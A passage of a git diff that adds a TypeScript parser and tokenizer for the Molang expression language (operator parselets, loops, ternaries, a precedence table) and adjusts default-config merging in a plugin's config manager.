+				throw new Error(`Unknown infix parselet: "${tokenType}"`)
+			expressionLeft = infix.parse(this, expressionLeft, token)
+		}
+
+		return expressionLeft
+	}
+
+	getPrecedence() {
+		const parselet = this.infixParselets.get(this.lookAhead(0).getType())
+		return parselet?.precedence ?? 0
+	}
+
+	consume(expected?: TTokenType) {
+		//Sets the lastLineNumber & startColumn before consuming next token
+		//Used for getting the exact location an error occurs
+		// this.tokenIterator.step()
+
+		const token = this.lookAhead(0)
+
+		if (expected && token.getType() !== expected) {
+			throw new Error(
+				`Expected token "${expected}" and found "${token.getType()}"`
+			)
+		}
+
+		this.readTokens.shift()!
+		return token
+	}
+
+	match(expected: TTokenType, consume = true) {
+		const token = this.lookAhead(0)
+		if (token.getType() !== expected) return false
+
+		if (consume) this.consume()
+		return true
+	}
+
+	lookAhead(distance: number) {
+		while (distance >= this.readTokens.length)
+			this.readTokens.push(this.tokenIterator.next())
+
+		return this.readTokens[distance]
+	}
+
+	registerInfix(tokenType: TTokenType, infixParselet: IInfixParselet) {
+		this.infixParselets.set(tokenType, infixParselet)
+	}
+	registerPrefix(tokenType: TTokenType, prefixParselet: IPrefixParselet) {
+		this.prefixParselets.set(tokenType, prefixParselet)
+	}
+
+	getInfix(tokenType: TTokenType) {
+		return this.infixParselets.get(tokenType)
+	}
+	getPrefix(tokenType: TTokenType) {
+		return this.prefixParselets.get(tokenType)
+	}
+}

packages/molang/src/parser/parselets/andOperator.ts

@@ -0,0 +1,21 @@
+import { Parser } from '../parse'
+import { Token } from '../../tokenizer/token'
+import { IExpression } from '../expression'
+import { GenericOperatorExpression } from '../expressions/genericOperator'
+import { IInfixParselet } from './infix'
+
+export class AndOperator implements IInfixParselet {
+	constructor(public precedence = 0) {}
+
+	parse(parser: Parser, leftExpression: IExpression, token: Token) {
+		if (parser.match('AND'))
+			return new GenericOperatorExpression(
+				leftExpression,
+				parser.parseExpression(this.precedence),
+				'&&',
+				(leftExpression: IExpression, rightExpression: IExpression) =>
+					leftExpression.eval() && rightExpression.eval()
+			)
+		else throw new Error(`"&" not followed by another "&"`)
+	}
+}

packages/molang/src/parser/parselets/arrayAccess.ts

@@ -0,0 +1,22 @@
+import { Token } from '../../tokenizer/token'
+import { Parser } from '../parse'
+import { IInfixParselet } from './infix'
+import { IExpression } from '../expression'
+import { ArrayAccessExpression } from '../expressions/arrayAccess'
+
+export class ArrayAccessParselet implements IInfixParselet {
+	constructor(public precedence = 0) {}
+
+	parse(parser: Parser, left: IExpression, token: Token) {
+		const expr = parser.parseExpression(this.precedence - 1)
+
+		if (!left.setPointer) throw new Error(`"${left.type}" is not an array`)
+
+		if (!parser.match('ARRAY_RIGHT'))
+			throw new Error(
+				`No closing bracket for opening bracket "[${expr.eval()}"`
+			)
+
+		return new ArrayAccessExpression(left, expr)
+	}
+}

packages/molang/src/parser/parselets/binaryOperator.ts

@@ -0,0 +1,134 @@
+import { IInfixParselet } from './infix'
+import { Parser } from '../parse'
+import { IExpression } from '../expression'
+import { Token } from '../../tokenizer/token'
+import { GenericOperatorExpression } from '../expressions/genericOperator'
+
+const plusHelper = (
+	leftExpression: IExpression,
+	rightExpression: IExpression
+) => {
+	const leftValue = leftExpression.eval()
+	const rightValue = rightExpression.eval()
+	if (
+		!(typeof leftValue === 'number' || typeof leftValue === 'boolean') ||
+		!(typeof rightValue === 'number' || typeof rightValue === 'boolean')
+	)
+		throw new Error(
+			`Cannot use numeric operators for expression "${leftValue} + ${rightValue}"`
+		)
+	//@ts-ignore
+	return leftValue + rightValue
+}
+const minusHelper = (
+	leftExpression: IExpression,
+	rightExpression: IExpression
+) => {
+	const leftValue = leftExpression.eval()
+	const rightValue = rightExpression.eval()
+	if (
+		!(typeof leftValue === 'number' || typeof leftValue === 'boolean') ||
+		!(typeof rightValue === 'number' || typeof rightValue === 'boolean')
+	)
+		throw new Error(
+			`Cannot use numeric operators for expression "${leftValue} - ${rightValue}"`
+		)
+	//@ts-ignore
+	return leftValue - rightValue
+}
+const divideHelper = (
+	leftExpression: IExpression,
+	rightExpression: IExpression
+) => {
+	const leftValue = leftExpression.eval()
+	const rightValue = rightExpression.eval()
+	if (
+		!(typeof leftValue === 'number' || typeof leftValue === 'boolean') ||
+		!(typeof rightValue === 'number' || typeof rightValue === 'boolean')
+	)
+		throw new Error(
+			`Cannot use numeric operators for expression "${leftValue} / ${rightValue}"`
+		)
+	//@ts-ignore
+	return leftValue / rightValue
+}
+const multiplyHelper = (
+	leftExpression: IExpression,
+	rightExpression: IExpression
+) => {
+	const leftValue = leftExpression.eval()
+	const rightValue = rightExpression.eval()
+	if (
+		!(typeof leftValue === 'number' || typeof leftValue === 'boolean') ||
+		!(typeof rightValue === 'number' || typeof rightValue === 'boolean')
+	)
+		throw new Error(
+			`Cannot use numeric operators for expression "${leftValue} * ${rightValue}"`
+		)
+	//@ts-ignore
+	return leftValue * rightValue
+}
+const assignHelper = (
+	leftExpression: IExpression,
+	rightExpression: IExpression
+) => {
+	if (leftExpression.setPointer) {
+		leftExpression.setPointer(rightExpression.eval())
+		return 0
+	} else {
+		throw Error(`Cannot assign to ${leftExpression.type}`)
+	}
+}
+
+export class BinaryOperator implements IInfixParselet {
+	constructor(public precedence = 0) {}
+
+	parse(parser: Parser, leftExpression: IExpression, token: Token) {
+		const rightExpression = parser.parseExpression(this.precedence)
+		// return new AdditionExpression(leftExpression, rightExpression)
+
+		const tokenText = token.getText()
+
+		switch (tokenText) {
+			case '+':
+				return new GenericOperatorExpression(
+					leftExpression,
+					rightExpression,
+					tokenText,
+					plusHelper
+				)
+			case '-':
+				return new GenericOperatorExpression(
+					leftExpression,
+					rightExpression,
+					tokenText,
+					minusHelper
+				)
+			case '*':
+				return new GenericOperatorExpression(
+					leftExpression,
+					rightExpression,
+					tokenText,
+					multiplyHelper
+				)
+			case '/':
+				return new GenericOperatorExpression(
+					leftExpression,
+					rightExpression,
+					tokenText,
+					divideHelper
+				)
+			case '=': {
+				return new GenericOperatorExpression(
+					leftExpression,
+					rightExpression,
+					'=',
+					assignHelper
+				)
+			}
+
+			default:
+				throw new Error(`Operator not implemented`)
+		}
+	}
+}

packages/molang/src/parser/parselets/boolean.ts

@@ -0,0 +1,12 @@
+import { IPrefixParselet } from './prefix'
+import { Token } from '../../tokenizer/token'
+import { Parser } from '../parse'
+import { BooleanExpression } from '../expressions/boolean'
+
+export class BooleanParselet implements IPrefixParselet {
+	constructor(public precedence = 0) {}
+
+	parse(parser: Parser, token: Token) {
+		return new BooleanExpression(token.getText() === 'true')
+	}
+}

packages/molang/src/parser/parselets/break.ts

@@ -0,0 +1,12 @@
+import { Parser } from '../parse'
+import { Token } from '../../tokenizer/token'
+import { IPrefixParselet } from './prefix'
+import { BreakExpression } from '../expressions/break'
+
+export class BreakParselet implements IPrefixParselet {
+	constructor(public precedence = 0) {}
+
+	parse(parser: Parser, token: Token) {
+		return new BreakExpression()
+	}
+}

packages/molang/src/parser/parselets/continue.ts

@@ -0,0 +1,12 @@
+import { Parser } from '../parse'
+import { Token } from '../../tokenizer/token'
+import { IPrefixParselet } from './prefix'
+import { ContinueExpression } from '../expressions/continue'
+
+export class ContinueParselet implements IPrefixParselet {
+	constructor(public precedence = 0) {}
+
+	parse(parser: Parser, token: Token) {
+		return new ContinueExpression()
+	}
+}

packages/molang/src/parser/parselets/equals.ts

@@ -0,0 +1,19 @@
+import { Parser } from '../../parser/parse'
+import { Token } from '../../tokenizer/token'
+import { IExpression } from '../expression'
+import { GenericOperatorExpression } from '../expressions/genericOperator'
+import { IInfixParselet } from './infix'
+
+export class EqualsOperator implements IInfixParselet {
+	constructor(public precedence = 0) {}
+
+	parse(parser: Parser, leftExpression: IExpression, token: Token) {
+		return new GenericOperatorExpression(
+			leftExpression,
+			parser.parseExpression(this.precedence),
+			'==',
+			(leftExpression: IExpression, rightExpression: IExpression) =>
+				leftExpression.eval() === rightExpression.eval()
+		)
+	}
+}

packages/molang/src/parser/parselets/forEach.ts

@@ -0,0 +1,29 @@
+import { Parser } from '../parse'
+import { Token } from '../../tokenizer/token'
+import { IPrefixParselet } from './prefix'
+import { IExpression } from '../expression'
+import { ForEachExpression } from '../expressions/forEach'
+
+export class ForEachParselet implements IPrefixParselet {
+	constructor(public precedence = 0) {}
+
+	parse(parser: Parser, token: Token) {
+		parser.consume('LEFT_PARENT')
+		const args: IExpression[] = []
+
+		if (parser.match('RIGHT_PARENT'))
+			throw new Error(`for_each() called without arguments`)
+
+		do {
+			args.push(parser.parseExpression())
+		} while (parser.match('COMMA'))
+		parser.consume('RIGHT_PARENT')
+
+		if (args.length !== 3)
+			throw new Error(
+				`There must be exactly three for_each() arguments; found ${args.length}`
+			)
+
+		return new ForEachExpression(args[0], args[1], args[2])
+	}
+}

packages/molang/src/parser/parselets/function.ts

@@ -0,0 +1,26 @@
+import { Token } from '../../tokenizer/token'
+import { Parser } from '../parse'
+import { IInfixParselet } from './infix'
+import { IExpression } from '../expression'
+import { FunctionExpression } from '../expressions/function'
+
+export class FunctionParselet implements IInfixParselet {
+	constructor(public precedence = 0) {}
+
+	parse(parser: Parser, left: IExpression, token: Token) {
+		const args: IExpression[] = []
+
+		if (!left.setFunctionCall)
+			throw new Error(`${left.type} is not callable!`)
+		left.setFunctionCall(true)
+
+		if (!parser.match('RIGHT_PARENT')) {
+			do {
+				args.push(parser.parseExpression())
+			} while (parser.match('COMMA'))
+			parser.consume('RIGHT_PARENT')
+		}
+
+		return new FunctionExpression(left, args)
+	}
+}

packages/molang/src/parser/parselets/greaterOperator.ts

@@ -0,0 +1,31 @@
+import { Parser } from '../parse'
+import { Token } from '../../tokenizer/token'
+import { IExpression } from '../expression'
+import { GenericOperatorExpression } from '../expressions/genericOperator'
+import { IInfixParselet } from './infix'
+
+export class GreaterOperator implements IInfixParselet {
+	constructor(public precedence = 0) {}
+
+	parse(parser: Parser, leftExpression: IExpression, token: Token) {
+		if (parser.match('EQUALS'))
+			return new GenericOperatorExpression(
+				leftExpression,
+				parser.parseExpression(this.precedence),
+				'>=',
+				(leftExpression: IExpression, rightExpression: IExpression) =>
+					// @ts-ignore
+					leftExpression.eval() >= rightExpression.eval()
+			)
+		else {
+			return new GenericOperatorExpression(
+				leftExpression,
+				parser.parseExpression(this.precedence),
+				'>',
+				(leftExpression: IExpression, rightExpression: IExpression) =>
+					// @ts-ignore
+					leftExpression.eval() > rightExpression.eval()
+			)
+		}
+	}
+}

packages/molang/src/parser/parselets/groupParselet.ts

@@ -0,0 +1,18 @@
+import { IPrefixParselet } from './prefix'
+import { Token } from '../../tokenizer/token'
+import { Parser } from '../parse'
+import { GroupExpression } from '../expressions/group'
+
+export class GroupParselet implements IPrefixParselet {
+	constructor(public precedence = 0) {}
+
+	parse(parser: Parser, token: Token) {
+		const expression = parser.parseExpression(this.precedence)
+		parser.consume('RIGHT_PARENT')
+
+		if (parser.config.keepGroups)
+			return new GroupExpression(expression, '()')
+
+		return expression
+	}
+}

packages/molang/src/parser/parselets/infix.ts

@@ -0,0 +1,8 @@
+import { Parser } from '../parse'
+import { IExpression } from '../expression'
+import { Token } from '../../tokenizer/token'
+
+export interface IInfixParselet {
+	readonly precedence: number
+	parse: (parser: Parser, left: IExpression, token: Token) => IExpression
+}

packages/molang/src/parser/parselets/loop.ts

@@ -0,0 +1,29 @@
+import { Parser } from '../parse'
+import { Token } from '../../tokenizer/token'
+import { IPrefixParselet } from './prefix'
+import { IExpression } from '../expression'
+import { LoopExpression } from '../expressions/loop'
+
+export class LoopParselet implements IPrefixParselet {
+	constructor(public precedence = 0) {}
+
+	parse(parser: Parser, token: Token) {
+		parser.consume('LEFT_PARENT')
+		const args: IExpression[] = []
+
+		if (parser.match('RIGHT_PARENT'))
+			throw new Error(`loop() called without arguments`)
+
+		do {
+			args.push(parser.parseExpression())
+		} while (parser.match('COMMA'))
+		parser.consume('RIGHT_PARENT')
+
+		if (args.length !== 2)
+			throw new Error(
+				`There must be exactly two loop() arguments; found ${args.length}`
+			)
+
+		return new LoopExpression(args[0], args[1])
+	}
+}

packages/molang/src/parser/parselets/name.ts

@@ -0,0 +1,43 @@
+import { IPrefixParselet } from './prefix'
+import { Token } from '../../tokenizer/token'
+import { Parser } from '../parse'
+import { NameExpression } from '../expressions/name'
+import { ContextSwitchExpression } from '../expressions/contextSwitch'
+
+export class NameParselet implements IPrefixParselet {
+	constructor(public precedence = 0) {}
+
+	parse(parser: Parser, token: Token) {
+		const nameExpr = new NameExpression(
+			parser.executionEnv,
+			token.getText()
+		)
+		const nextTokens = <const>[parser.lookAhead(0), parser.lookAhead(1)]
+
+		// Context switching operator "->"
+		if (
+			nextTokens[0].getType() === 'MINUS' &&
+			nextTokens[1].getType() === 'GREATER'
+		) {
+			parser.consume('MINUS')
+			parser.consume('GREATER')
+
+			const nameToken = parser.lookAhead(0)
+			if (nameToken.getType() !== 'NAME')
+				throw new Error(
+					`Cannot use context switch operator "->" on ${parser.lookAhead(
+						0
+					)}`
+				)
+
+			parser.consume('NAME')
+
+			return new ContextSwitchExpression(
+				nameExpr,
+				new NameExpression(parser.executionEnv, nameToken.getText())
+			)
+		}
+
+		return nameExpr
+	}
+}

packages/molang/src/parser/parselets/notEquals.ts

@@ -0,0 +1,23 @@
+import { Parser } from '../parse'
+import { Token } from '../../tokenizer/token'
+import { IExpression } from '../expression'
+import { GenericOperatorExpression } from '../expressions/genericOperator'
+import { IInfixParselet } from './infix'
+
+export class NotEqualsOperator implements IInfixParselet {
+	constructor(public precedence = 0) {}
+
+	parse(parser: Parser, leftExpression: IExpression, token: Token) {
+		if (parser.match('EQUALS')) {
+			return new GenericOperatorExpression(
+				leftExpression,
+				parser.parseExpression(this.precedence),
+				'!=',
+				(leftExpression: IExpression, rightExpression: IExpression) =>
+					leftExpression.eval() !== rightExpression.eval()
+			)
+		} else {
+			throw new Error(`! was used as a binary operator`)
+		}
+	}
+}

packages/molang/src/parser/parselets/number.ts

@@ -0,0 +1,12 @@
+import { IPrefixParselet } from './prefix'
+import { Token } from '../../tokenizer/token'
+import { Parser } from '../parse'
+import { NumberExpression } from '../expressions/number'
+
+export class NumberParselet implements IPrefixParselet {
+	constructor(public precedence = 0) {}
+
+	parse(parser: Parser, token: Token) {
+		return new NumberExpression(Number(token.getText()))
+	}
+}

packages/molang/src/parser/parselets/orOperator.ts

@@ -0,0 +1,21 @@
+import { Parser } from '../parse'
+import { Token } from '../../tokenizer/token'
+import { IExpression } from '../expression'
+import { GenericOperatorExpression } from '../expressions/genericOperator'
+import { IInfixParselet } from './infix'
+
+export class OrOperator implements IInfixParselet {
+	constructor(public precedence = 0) {}
+
+	parse(parser: Parser, leftExpression: IExpression, token: Token) {
+		if (parser.match('OR'))
+			return new GenericOperatorExpression(
+				leftExpression,
+				parser.parseExpression(this.precedence),
+				'||',
+				(leftExpression: IExpression, rightExpression: IExpression) =>
+					leftExpression.eval() || rightExpression.eval()
+			)
+		else throw new Error(`"|" not followed by another "|"`)
+	}
+}

packages/molang/src/parser/parselets/postfix.ts

@@ -0,0 +1,3 @@
+import { IInfixParselet } from './infix'
+
+export interface IPostfixParselet extends IInfixParselet {}

packages/molang/src/parser/parselets/prefix.ts

@@ -0,0 +1,20 @@
+import { Parser } from '../parse'
+import { IExpression } from '../expression'
+import { Token } from '../../tokenizer/token'
+import { PrefixExpression } from '../expressions/prefix'
+
+export interface IPrefixParselet {
+	readonly precedence: number
+	parse: (parser: Parser, token: Token) => IExpression
+}
+
+export class PrefixOperator implements IPrefixParselet {
+	constructor(public precedence = 0) {}
+
+	parse(parser: Parser, token: Token) {
+		return new PrefixExpression(
+			token.getType(),
+			parser.parseExpression(this.precedence)
+		)
+	}
+}

packages/molang/src/parser/parselets/questionOperator.ts

@@ -0,0 +1,26 @@
+import { Parser } from '../parse'
+import { Token } from '../../tokenizer/token'
+import { IExpression } from '../expression'
+import { GenericOperatorExpression } from '../expressions/genericOperator'
+import { IInfixParselet } from './infix'
+import { TernaryParselet } from './ternary'
+import { EPrecedence } from '../precedence'
+
+const ternaryParselet = new TernaryParselet(EPrecedence.CONDITIONAL)
+export class QuestionOperator implements IInfixParselet {
+	constructor(public precedence = 0) {}
+
+	parse(parser: Parser, leftExpression: IExpression, token: Token) {
+		if (parser.match('QUESTION')) {
+			return new GenericOperatorExpression(
+				leftExpression,
+				parser.parseExpression(this.precedence),
+				'??',
+				(leftExpression: IExpression, rightExpression: IExpression) =>
+					leftExpression.eval() ?? rightExpression.eval()
+			)
+		} else {
+			return ternaryParselet.parse(parser, leftExpression, token)
+		}
+	}
+}

packages/molang/src/parser/parselets/return.ts

@@ -0,0 +1,18 @@
+import { Parser } from '../parse'
+import { Token } from '../../tokenizer/token'
+import { IPrefixParselet } from './prefix'
+import { NumberExpression } from '../expressions/number'
+import { ReturnExpression } from '../expressions/return'
+import { EPrecedence } from '../precedence'
+
+export class ReturnParselet implements IPrefixParselet {
+	constructor(public precedence = 0) {}
+
+	parse(parser: Parser, token: Token) {
+		const expr = parser.parseExpression(EPrecedence.STATEMENT + 1)
+
+		return new ReturnExpression(
+			parser.match('SEMICOLON', false) ? expr : new NumberExpression(0)
+		)
+	}
+}

packages/molang/src/parser/parselets/scope.ts

@@ -0,0 +1,22 @@
+import { Parser } from '../parse'
+import { Token } from '../../tokenizer/token'
+import { IPrefixParselet } from './prefix'
+import { GroupExpression } from '../expressions/group'
+
+export class ScopeParselet implements IPrefixParselet {
+	constructor(public precedence = 0) {}
+
+	parse(parser: Parser, token: Token) {
+		let expr = parser.parseExpression(this.precedence)
+
+		if (
+			parser.config.useOptimizer &&
+			parser.config.earlyReturnsSkipTokenization &&
+			expr.isReturn
+		)
+			parser.match('CURLY_RIGHT')
+		else parser.consume('CURLY_RIGHT')
+
+		return parser.config.keepGroups ? new GroupExpression(expr, '{}') : expr
+	}
+}

packages/molang/src/parser/parselets/smallerOperator.ts

@@ -0,0 +1,31 @@
+import { Parser } from '../parse'
+import { Token } from '../../tokenizer/token'
+import { IExpression } from '../expression'
+import { GenericOperatorExpression } from '../expressions/genericOperator'
+import { IInfixParselet } from './infix'
+
+export class SmallerOperator implements IInfixParselet {
+	constructor(public precedence = 0) {}
+
+	parse(parser: Parser, leftExpression: IExpression, token: Token) {
+		if (parser.match('EQUALS'))
+			return new GenericOperatorExpression(
+				leftExpression,
+				parser.parseExpression(this.precedence),
+				'<=',
+				(leftExpression: IExpression, rightExpression: IExpression) =>
+					// @ts-ignore
+					leftExpression.eval() <= rightExpression.eval()
+			)
+		else {
+			return new GenericOperatorExpression(
+				leftExpression,
+				parser.parseExpression(this.precedence),
+				'<',
+				(leftExpression: IExpression, rightExpression: IExpression) =>
+					// @ts-ignore
+					leftExpression.eval() < rightExpression.eval()
+			)
+		}
+	}
+}

packages/molang/src/parser/parselets/statement.ts

@@ -0,0 +1,84 @@
+import { Parser } from '../parse'
+import { IExpression } from '../expression'
+import { Token } from '../../tokenizer/token'
+import { IInfixParselet } from './infix'
+import { StatementExpression } from '../expressions/statement'
+import { StaticExpression } from '../expressions/static'
+
+export class StatementParselet implements IInfixParselet {
+	constructor(public precedence = 0) {}
+
+	findReEntryPoint(parser: Parser) {
+		let bracketCount = 1
+		let tokenType = parser.lookAhead(0).getType()
+		while (tokenType !== 'EOF') {
+			if (tokenType == 'CURLY_RIGHT') bracketCount--
+			else if (tokenType === 'CURLY_LEFT') bracketCount++
+			if (bracketCount === 0) break
+
+			parser.consume()
+			tokenType = parser.lookAhead(0).getType()
+		}
+	}
+
+	parse(parser: Parser, left: IExpression, token: Token) {
+		if (parser.config.useOptimizer) {
+			if (left.isStatic())
+				left = new StaticExpression(left.eval(), left.isReturn)
+
+			if (parser.config.earlyReturnsSkipParsing && left.isReturn) {
+				if (!parser.config.earlyReturnsSkipTokenization)
+					this.findReEntryPoint(parser)
+
+				return new StatementExpression([left])
+			}
+		}
+
+		const expressions: IExpression[] = [left]
+
+		if (!parser.match('CURLY_RIGHT', false)) {
+			do {
+				let expr = parser.parseExpression(this.precedence)
+				if (parser.config.useOptimizer) {
+					if (expr.isStatic()) {
+						if (
+							parser.config.useAgressiveStaticOptimizer &&
+							!expr.isReturn
+						)
+							continue
+						expr = new StaticExpression(expr.eval(), expr.isReturn)
+					}
+
+					if (
+						parser.config.earlyReturnsSkipParsing &&
+						(expr.isBreak || expr.isContinue || expr.isReturn)
+					) {
+						expressions.push(expr)
+
+						if (!parser.config.earlyReturnsSkipTokenization)
+							this.findReEntryPoint(parser)
+
+						return new StatementExpression(expressions)
+					}
+				}
+
+				expressions.push(expr)
+			} while (
+				parser.match('SEMICOLON') &&
+				!parser.match('EOF') &&
+				!parser.match('CURLY_RIGHT', false)
+			)
+		}
+
+		parser.match('SEMICOLON')
+
+		const statementExpr = new StatementExpression(expressions)
+		// if (parser.config.useOptimizer && statementExpr.isStatic()) {
+		// 	return new StaticExpression(
+		// 		statementExpr.eval(),
+		// 		statementExpr.isReturn
+		// 	)
+		// }
+		return statementExpr
+	}
+}

packages/molang/src/parser/parselets/string.ts

@@ -0,0 +1,12 @@
+import { IPrefixParselet } from './prefix'
+import { Token } from '../../tokenizer/token'
+import { Parser } from '../parse'
+import { StringExpression } from '../expressions/string'
+
+export class StringParselet implements IPrefixParselet {
+	constructor(public precedence = 0) {}
+
+	parse(parser: Parser, token: Token) {
+		return new StringExpression(token.getText())
+	}
+}

packages/molang/src/parser/parselets/ternary.ts

@@ -0,0 +1,28 @@
+import { IInfixParselet } from './infix'
+import { Parser } from '../parse'
+import { IExpression } from '../expression'
+import { Token } from '../../tokenizer/token'
+import { TernaryExpression } from '../expressions/ternary'
+import { VoidExpression } from '../expressions/void'
+
+export class TernaryParselet implements IInfixParselet {
+	exprName = 'Ternary'
+	constructor(public precedence = 0) {}
+
+	parse(parser: Parser, leftExpression: IExpression, token: Token) {
+		let thenExpr = parser.parseExpression(this.precedence - 1)
+		let elseExpr: IExpression
+
+		if (parser.match('COLON')) {
+			elseExpr = parser.parseExpression(this.precedence - 1)
+		} else {
+			elseExpr = new VoidExpression()
+		}
+
+		if (parser.config.useOptimizer && leftExpression.isStatic()) {
+			return leftExpression.eval() ? thenExpr : elseExpr
+		}
+
+		return new TernaryExpression(leftExpression, thenExpr, elseExpr)
+	}
+}

packages/molang/src/parser/precedence.ts

@@ -0,0 +1,25 @@
+export enum EPrecedence {
+	SCOPE = 1,
+	STATEMENT,
+
+	ASSIGNMENT,
+	CONDITIONAL,
+
+	ARRAY_ACCESS,
+
+	NULLISH_COALESCING,
+
+	AND,
+	OR,
+
+	EQUALS_COMPARE,
+	COMPARE,
+
+	SUM,
+	PRODUCT,
+	EXPONENT,
+
+	PREFIX,
+	POSTFIX,
+	FUNCTION,
+}

packages/molang/src/tokenizer/Tokenizer.ts

@@ -0,0 +1,144 @@
+import { TokenTypes, KeywordTokens } from './tokenTypes'
+import { Token } from './token'
+
+export class Tokenizer {
+	protected keywordTokens: Set<string>
+	protected i = 0
+	protected currentColumn = 0
+	protected currentLine = 0
+	protected lastColumns = 0
+	protected expression!: string
+
+	constructor(addKeywords?: Set<string>) {
+		if (addKeywords)
+			this.keywordTokens = new Set([...KeywordTokens, ...addKeywords])
+		else this.keywordTokens = KeywordTokens
+	}
+
+	init(expression: string) {
+		this.currentLine = 0
+		this.currentColumn = 0
+		this.lastColumns = 0
+		this.i = 0
+		this.expression = expression
+	}
+
+	next(): Token {
+		this.currentColumn = this.i - this.lastColumns
+
+		while (
+			this.i < this.expression.length &&
+			(this.expression[this.i] === ' ' ||
+				this.expression[this.i] === '\t' ||
+				this.expression[this.i] === '\n')
+		) {
+			if (this.expression[this.i] === '\n') {
+				this.currentLine++
+				this.currentColumn = 0
+				this.lastColumns = this.i + 1
+			}
+			this.i++
+		}
+
+		// This is unnecessary for parsing simple, vanilla molang expressions
+		// Might make sense to move it into a "TokenizerWithComments" class in the future
+		if (this.expression[this.i] === '#') {
+			const index = this.expression.indexOf('\n', this.i + 1)
+			this.i = index === -1 ? this.expression.length : index
+			this.currentLine++
+			this.lastColumns = this.i + 1
+			this.currentColumn = 0
+			return this.next()
+		}
+
+		// Check tokens with one char
+		let token = TokenTypes[this.expression[this.i]]
+		if (token) {
+			return new Token(
+				token,
+				this.expression[this.i++],
+				this.currentColumn,
+				this.currentLine
+			)
+		} else if (
+			this.isLetter(this.expression[this.i]) ||
+			this.expression[this.i] === '_'
+		) {
+			let j = this.i + 1
+			while (
+				j < this.expression.length &&
+				(this.isLetter(this.expression[j]) ||
+					this.isNumber(this.expression[j]) ||
+					this.expression[j] === '_' ||
+					this.expression[j] === '.')
+			) {
+				j++
+			}
+
+			const value = this.expression.substring(this.i, j).toLowerCase()
+
+			this.i = j
+			return new Token(
+				this.keywordTokens.has(value) ? value.toUpperCase() : 'NAME',
+				value,
+				this.currentColumn,
+				this.currentLine
+			)
+		} else if (this.isNumber(this.expression[this.i])) {
+			let j = this.i + 1
+			let hasDecimal = false
+			while (
+				j < this.expression.length &&
+				(this.isNumber(this.expression[j]) ||
+					(this.expression[j] === '.' && !hasDecimal))
+			) {
+				if (this.expression[j] === '.') hasDecimal = true
+				j++
+			}
+
+			const token = new Token(
+				'NUMBER',
+				this.expression.substring(this.i, j),
+				this.currentColumn,
+				this.currentLine
+			)
+			// Support notations like "0.5f"
+			const usesFloatNotation = hasDecimal && this.expression[j] === 'f'
+
+			this.i = usesFloatNotation ? j + 1 : j
+
+			return token
+		} else if (this.expression[this.i] === "'") {
+			let j = this.i + 1
+			while (j < this.expression.length && this.expression[j] !== "'") {
+				j++
+			}
+			j++
+			const token = new Token(
+				'STRING',
+				this.expression.substring(this.i, j),
+				this.currentColumn,
+				this.currentLine
+			)
+			this.i = j
+			return token
+		}
+
+		if (this.hasNext()) {
+			this.i++
+			return this.next()
+		}
+		return new Token('EOF', '', this.currentColumn, this.currentLine)
+	}
+	hasNext() {
+		return this.i < this.expression.length
+	}
+
+	protected isLetter(char: string) {
+		return (char >= 'a' && char <= 'z') || (char >= 'A' && char <= 'Z')
+	}
+
+	protected isNumber(char: string) {
+		return char >= '0' && char <= '9'
+	}
+}

packages/molang/src/tokenizer/token.ts

@@ -0,0 +1,25 @@
+export type TTokenType = string
+
+export class Token {
+	constructor(
+		protected type: string,
+		protected text: string,
+		protected startColumn: number,
+		protected startLine: number
+	) {}
+
+	getType() {
+		return this.type
+	}
+	getText() {
+		return this.text
+	}
+	getPosition() {
+		return {
+			startColumn: this.startColumn,
+			startLineNumber: this.startLine,
+			endColumn: this.startColumn + this.text.length,
+			endLineNumber: this.startLine,
+		}
+	}
+}

packages/molang/src/tokenizer/tokenTypes.ts

@@ -0,0 +1,32 @@
+export const TokenTypes: Record<string, string> = {
+	'!': 'BANG',
+	'&': 'AND',
+	'(': 'LEFT_PARENT',
+	')': 'RIGHT_PARENT',
+	'*': 'ASTERISK',
+	'+': 'PLUS',
+	',': 'COMMA',
+	'-': 'MINUS',
+	'/': 'SLASH',
+	':': 'COLON',
+	';': 'SEMICOLON',
+	'<': 'SMALLER',
+	'=': 'EQUALS',
+	'>': 'GREATER',
+	'?': 'QUESTION',
+	'[': 'ARRAY_LEFT',
+	']': 'ARRAY_RIGHT',
+	'{': 'CURLY_LEFT',
+	'|': 'OR',
+	'}': 'CURLY_RIGHT',
+}
+
+export const KeywordTokens = new Set([
+	'return',
+	'continue',
+	'break',
+	'for_each',
+	'loop',
+	'false',
+	'true',
+])

packages/molang/tsconfig.json

@@ -0,0 +1,7 @@
+{
+    "extends": "../../tsconfig.json",
+    "compilerOptions": {
+        "baseUrl": "src",
+        "outDir": "dist"
+    }
+}

packages/plugin/src/config.ts

@@ -110,11 +110,12 @@ export class PluginConfigManager {
         let needSave = false
         for (const key of Object.keys(defaultValue)) {
             // 当配置文件不存在当前属性时才进行赋值
-            if (!Object.prototype.hasOwnProperty.call(configValue, key)) {
+            if (!Object.prototype.hasOwnProperty.call(configValue, key) && key != '____deep_copy____') {
                 configValue[key] = defaultValue[key]
                 needSave = true
-            } else if (Object.prototype.toString.call(configValue[key]) == "[object Object]" && !Object.prototype.hasOwnProperty.call(defaultValue[key], '____ignore____')) {
+            } else if (Object.prototype.toString.call(configValue[key]) == "[object Object]"
-                // 对象需要递归检测 如果对象内存在 ____ignore____ 那就忽略设置
+                && Object.prototype.hasOwnProperty.call(defaultValue[key], '____deep_copy____')) {
+                // 对象需要递归检测 如果对象内存在 ____deep_copy____ 那就忽略设置
                 needSave ||= this.setDefaultValue(configValue[key], defaultValue[key])
             }
         }